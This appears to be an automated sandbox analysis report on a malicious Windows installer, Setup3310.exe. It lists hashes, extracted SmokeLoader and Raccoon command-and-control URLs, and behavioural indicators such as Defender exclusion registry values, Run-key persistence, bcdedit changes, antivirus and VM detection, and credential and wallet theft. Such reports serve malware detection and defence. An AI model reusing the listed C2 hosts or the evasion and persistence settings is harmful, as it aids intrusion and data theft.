Resubmissions
18-03-2021 16:36
210318-gp18cmknhn 1018-03-2021 16:36
210318-c2gfjesvja 1018-03-2021 16:36
210318-vqkv89gzv2 1018-03-2021 16:36
210318-hkbpmljzte 1018-03-2021 16:36
210318-x2ph225zjs 1018-03-2021 16:04
210318-a66favrxcs 10Analysis
-
max time kernel
535s -
max time network
1789s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
18-03-2021 16:36
Static task
static1
Behavioral task
behavioral1
Sample
Setup3310.exe
Resource
win10v20201028
General
-
Target
Setup3310.exe
-
Size
381KB
-
MD5
acf61459d6319724ab22cb5a8308d429
-
SHA1
8a5d782e6f31c3005e5e0706a3d266ece492a6cf
-
SHA256
344d7b46385722db4733eee860283c00327c85f28dd76acc996be63f4c4c956e
-
SHA512
d5f38cb8ed500510ba7d466345c854856ec70121683d4b5398651bfd41a7f5f8d754e8fece0bca38e334214d326afa1970b19e79c3d8507bff9d7782df762877
Malware Config
Extracted
smokeloader
2019
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
http://10022020test61-service1002012510022020.website/
http://10022020test51-service1002012510022020.xyz/
http://10022020test41-service100201pro2510022020.ru/
http://10022020yest31-service100201rus2510022020.ru/
http://10022020rest21-service1002012510022020.eu/
http://10022020test11-service1002012510022020.press/
http://10022020newfolder4561-service1002012510022020.ru/
http://10022020rustest213-service1002012510022020.ru/
http://10022020test281-service1002012510022020.ru/
http://10022020test261-service1002012510022020.space/
http://10022020yomtest251-service1002012510022020.ru/
http://10022020yirtest231-service1002012510022020.ru/
Extracted
metasploit
windows/single_exec
Extracted
raccoon
afefd33a49c7cbd55d417545269920f24c85aa37
-
url4cnc
https://telete.in/jagressor_kz
Signatures
-
Glupteba Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/7968-430-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral1/memory/7968-453-0x00000000051E0000-0x0000000005A3D000-memory.dmp family_glupteba behavioral1/memory/7968-454-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral1/memory/7328-487-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Registers COM server for autorun 1 TTPs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 8144 created 4872 8144 WerFault.exe xw204n1ofqr.exe PID 14504 created 10472 14504 WerFault.exe ugk5iqmtyu1.exe PID 16496 created 7924 16496 WerFault.exe rp03erkobpf.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
Processes:
svchost.exedescription pid process target process PID 4540 created 7328 4540 svchost.exe app.exe PID 4540 created 11684 4540 svchost.exe csrss.exe PID 4540 created 11684 4540 svchost.exe csrss.exe PID 4540 created 11684 4540 svchost.exe csrss.exe PID 4540 created 11684 4540 svchost.exe csrss.exe PID 4540 created 11200 4540 svchost.exe setup.exe PID 4540 created 9556 4540 svchost.exe updateprofile-15.exe PID 4540 created 5332 4540 svchost.exe u20200626.exe PID 4540 created 11576 4540 svchost.exe getfp.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Modifies boot configuration data using bcdedit 15 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 12948 bcdedit.exe 13188 bcdedit.exe 12800 bcdedit.exe 13088 bcdedit.exe 13576 bcdedit.exe 13260 bcdedit.exe 13208 bcdedit.exe 13400 bcdedit.exe 7772 bcdedit.exe 14016 bcdedit.exe 14304 bcdedit.exe 13884 bcdedit.exe 14084 bcdedit.exe 7672 bcdedit.exe 14204 bcdedit.exe -
Blocklisted process makes network request 4 IoCs
Processes:
rundll32.exeschtasks.exeflow pid process 714 6816 rundll32.exe 4384 8060 schtasks.exe 4572 8060 schtasks.exe 4593 8060 schtasks.exe -
Drops file in Drivers directory 10 IoCs
Processes:
DrvInst.exedsefix.execsrss.exeschtasks.exeHGT.exeHGT.exeHGT.exeHGT.exedescription ioc process File opened for modification C:\Windows\System32\drivers\SET8549.tmp DrvInst.exe File created C:\Windows\System32\drivers\SET8549.tmp DrvInst.exe File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe File created C:\Windows\System32\drivers\Winmon.sys csrss.exe File opened for modification C:\Windows\system32\drivers\etc\hosts schtasks.exe File opened for modification C:\Windows\system32\drivers\etc\hosts HGT.exe File opened for modification C:\Windows\system32\drivers\etc\hosts HGT.exe File opened for modification C:\Windows\System32\drivers\tap0901.sys DrvInst.exe File opened for modification C:\Windows\system32\drivers\etc\hosts HGT.exe File opened for modification C:\Windows\system32\drivers\etc\hosts HGT.exe -
Executes dropped EXE 64 IoCs
Processes:
Setup3310.tmpSetup.exeSetup.tmpDelta.exeDelta.tmpSetup.exePictureLAb.exePictureLAb.tmpSetup.exeSetup.tmpHGT.exeprolab.exeRugomaevoki.exeprolab.tmpgaooo.exejfiag3g_gg.exehjjgaa.exejfiag3g_gg.exejfiag3g_gg.exejfiag3g_gg.exemd7_7dfj.exeaskinstall29.execustomer4.exemain.exeHookSetp.exeprivacytools5.exe8445151.924620154.50privacytools5.exeWindows Host.exesetup.exeMultitimerFour.exemultitimer.exesetups.exesetups.tmpsetup.exemultitimer.exemultitimer.exeparse.exeparse.exeparse.exe7za.exeSetup3310.exexw204n1ofqr.exeAwesomePoolU1.exevict.exeaskinstall24.exeIBInstaller_97039.exevpn.exeSetup3310.tmpapp.exevict.tmpvpn.tmpIBInstaller_97039.tmpchrome_proxy.exewimapi.exesetup.exeSetup.exeSetup.tmp7za.exevict.exejjSCW2eoA.exe7za.exejjSCW2eoA.exepid process 3664 Setup3310.tmp 3796 Setup.exe 644 Setup.tmp 2112 Delta.exe 208 Delta.tmp 1364 Setup.exe 1852 PictureLAb.exe 1576 PictureLAb.tmp 1512 Setup.exe 1856 Setup.tmp 2520 HGT.exe 3024 prolab.exe 1352 Rugomaevoki.exe 2688 prolab.tmp 10336 gaooo.exe 11768 jfiag3g_gg.exe 15888 hjjgaa.exe 16056 jfiag3g_gg.exe 17340 jfiag3g_gg.exe 6812 jfiag3g_gg.exe 3636 md7_7dfj.exe 7620 askinstall29.exe 14212 customer4.exe 14492 main.exe 14884 HookSetp.exe 15252 privacytools5.exe 15416 8445151.92 15464 4620154.50 15656 privacytools5.exe 15676 Windows Host.exe 15944 setup.exe 16188 MultitimerFour.exe 16376 multitimer.exe 16444 setups.exe 16500 setups.tmp 16672 setup.exe 17124 multitimer.exe 17252 multitimer.exe 5000 parse.exe 5024 parse.exe 5052 parse.exe 4276 7za.exe 4848 Setup3310.exe 4872 xw204n1ofqr.exe 4932 AwesomePoolU1.exe 4972 vict.exe 412 askinstall24.exe 5144 IBInstaller_97039.exe 5156 vpn.exe 5184 Setup3310.tmp 5300 app.exe 5316 vict.tmp 5328 vpn.tmp 5368 IBInstaller_97039.tmp 5636 chrome_proxy.exe 5860 wimapi.exe 6528 setup.exe 6668 Setup.exe 6720 Setup.tmp 6968 7za.exe 7048 vict.exe 7268 jjSCW2eoA.exe 7608 7za.exe 7820 jjSCW2eoA.exe -
Looks for VMWare Tools registry key 2 TTPs
-
Modifies Windows Firewall 1 TTPs
-
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
Sets service image path in registry 2 TTPs
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx behavioral1/memory/6080-582-0x0000000000400000-0x0000000000897000-memory.dmp upx behavioral1/memory/9556-1199-0x0000000000400000-0x0000000000C1C000-memory.dmp upx behavioral1/memory/5332-1200-0x0000000000400000-0x0000000000C1B000-memory.dmp upx behavioral1/memory/11576-1201-0x0000000000400000-0x00000000005E6000-memory.dmp upx behavioral1/memory/11092-1207-0x0000000000400000-0x0000000000C1C000-memory.dmp upx behavioral1/memory/15916-1208-0x0000000000400000-0x0000000000C1B000-memory.dmp upx -
Checks BIOS information in registry 2 TTPs 7 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
setup.exesetup.exesetup.exerundll32.exesetup.exesetup.exeppBOOOa.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion ppBOOOa.exe -
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
setups.tmpsetups.tmpsetups.tmpsetups.tmpcmd.execmd.exesetups.tmpdescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp -
Loads dropped DLL 64 IoCs
Processes:
Setup3310.tmpSetup.tmpDelta.tmpPictureLAb.tmpSetup.tmpSetup.exemain.exeprivacytools5.exesetups.tmpsetup.exeSetup3310.tmpvict.tmpIBInstaller_97039.tmpvpn.tmpSetup.tmpapp.exeDelta.tmpPictureLAb.tmpSetup.tmpSetup.exemask_svc.exepatch.exemain.exeprivacytools5.exesetups.tmp33E8.tmp.exesetup.exeSetup3310.tmppid process 3664 Setup3310.tmp 3664 Setup3310.tmp 644 Setup.tmp 644 Setup.tmp 208 Delta.tmp 208 Delta.tmp 1576 PictureLAb.tmp 1576 PictureLAb.tmp 1856 Setup.tmp 1364 Setup.exe 1364 Setup.exe 14492 main.exe 15656 privacytools5.exe 16500 setups.tmp 16500 setups.tmp 16500 setups.tmp 16500 setups.tmp 16500 setups.tmp 15944 setup.exe 5184 Setup3310.tmp 5184 Setup3310.tmp 5316 vict.tmp 5368 IBInstaller_97039.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 5328 vpn.tmp 6720 Setup.tmp 6720 Setup.tmp 5300 app.exe 8460 Delta.tmp 8460 Delta.tmp 8872 PictureLAb.tmp 8872 PictureLAb.tmp 7420 Setup.tmp 8816 Setup.exe 8816 Setup.exe 11984 mask_svc.exe 11984 mask_svc.exe 11984 mask_svc.exe 11984 mask_svc.exe 11984 mask_svc.exe 11984 mask_svc.exe 13460 patch.exe 13460 patch.exe 13460 patch.exe 5328 vpn.tmp 5328 vpn.tmp 13460 patch.exe 14024 main.exe 5364 privacytools5.exe 5932 setups.tmp 5932 setups.tmp 5932 setups.tmp 5932 setups.tmp 5932 setups.tmp 16624 33E8.tmp.exe 2628 setup.exe 10504 Setup3310.tmp 10504 Setup3310.tmp -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
app.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" app.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WinterMountain = "0" app.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" app.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" app.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\app.exe = "0" app.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" app.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" app.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" app.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" app.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" app.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 10 IoCs
Processes:
multitimer.exemultitimer.exemultitimer.exegaooo.exehjjgaa.exe4620154.50multitimer.exeHGT.exeapp.exemultitimer.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\2gg5ki2z4kt = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\4L5HLNWXAD\\multitimer.exe\" 1 3.1616085481.605381e99dd96" multitimer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ttvchbfpspz = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ZN78VHHWTU\\multitimer.exe\" 1 3.1616085598.6053825e29300" multitimer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\3nyt1te2ijq = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\YYL09XWJKS\\multitimer.exe\" 1 3.1616085924.605383a473ca8" multitimer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" gaooo.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" hjjgaa.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe" 4620154.50 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\cugdqneu5wr = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TL86OE6QBX\\multitimer.exe\" 1 3.1616085799.60538327b0368" multitimer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Google\\Daecycyfaewy.exe\"" HGT.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinterMountain = "\"C:\\Windows\\rss\\csrss.exe\"" app.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\haylvbn4q21 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\S8C672O6LF\\multitimer.exe\" 1 3.1616085669.605382a51bc0b" multitimer.exe -
Checks for any installed AV software in registry 1 TTPs 64 IoCs
Processes:
multitimer.exemultitimer.exemultitimer.exemultitimer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Fortinet\FortiClient\installed multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Jiangmin\ComputerID multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Fortinet\FortiClient\installed multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\KasperskyLab multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\McAfee\DesktopProtection multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\KasperskyLab multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80 multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
md7_7dfj.exemd7_7dfj.exemd7_7dfj.exemd7_7dfj.exemd7_7dfj.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md7_7dfj.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md7_7dfj.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md7_7dfj.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md7_7dfj.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md7_7dfj.exe -
Drops Chrome extension 4 IoCs
Processes:
QDsgliQ.exeaskinstall24.exeDNnZcAy.exeaskinstall29.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ffbilhfoibpnndjdfmbfanapdpmebbnl\1.0_0\manifest.json QDsgliQ.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\colgdlijdieibnaccfdcdbpdffofkfeb\6.37.18_0\manifest.json askinstall24.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ffbilhfoibpnndjdfmbfanapdpmebbnl\1.0_0\manifest.json DNnZcAy.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\manifest.json askinstall29.exe -
Drops desktop.ini file(s) 1 IoCs
Processes:
SxjcCox.exedescription ioc process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini SxjcCox.exe -
Installs/modifies Browser Helper Object 2 TTPs
BHOs are DLL modules which act as plugins for Internet Explorer.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 29 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 546 ipinfo.io 551 ipinfo.io 55 ipinfo.io 220 ipinfo.io 18327 ipinfo.io 19799 ip-api.com 214 ipinfo.io 1229 ipinfo.io 6 ipinfo.io 62 ipinfo.io 604 ipinfo.io 17917 ipinfo.io 254 checkip.amazonaws.com 532 checkip.amazonaws.com 262 api.ipify.org 5537 ip-api.com 14825 ipinfo.io 4 ipinfo.io 94 ip-api.com 690 ip-api.com 1488 ipinfo.io 281 ipinfo.io 288 ipinfo.io 4005 ipinfo.io 341 ip-api.com 3727 ipinfo.io 14833 ipinfo.io 182 checkip.amazonaws.com 612 ipinfo.io -
Maps connected drives based on registry 3 TTPs 10 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
multitimer.exemultitimer.exemultitimer.exemultitimer.exemultitimer.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe -
Drops file in System32 directory 46 IoCs
Processes:
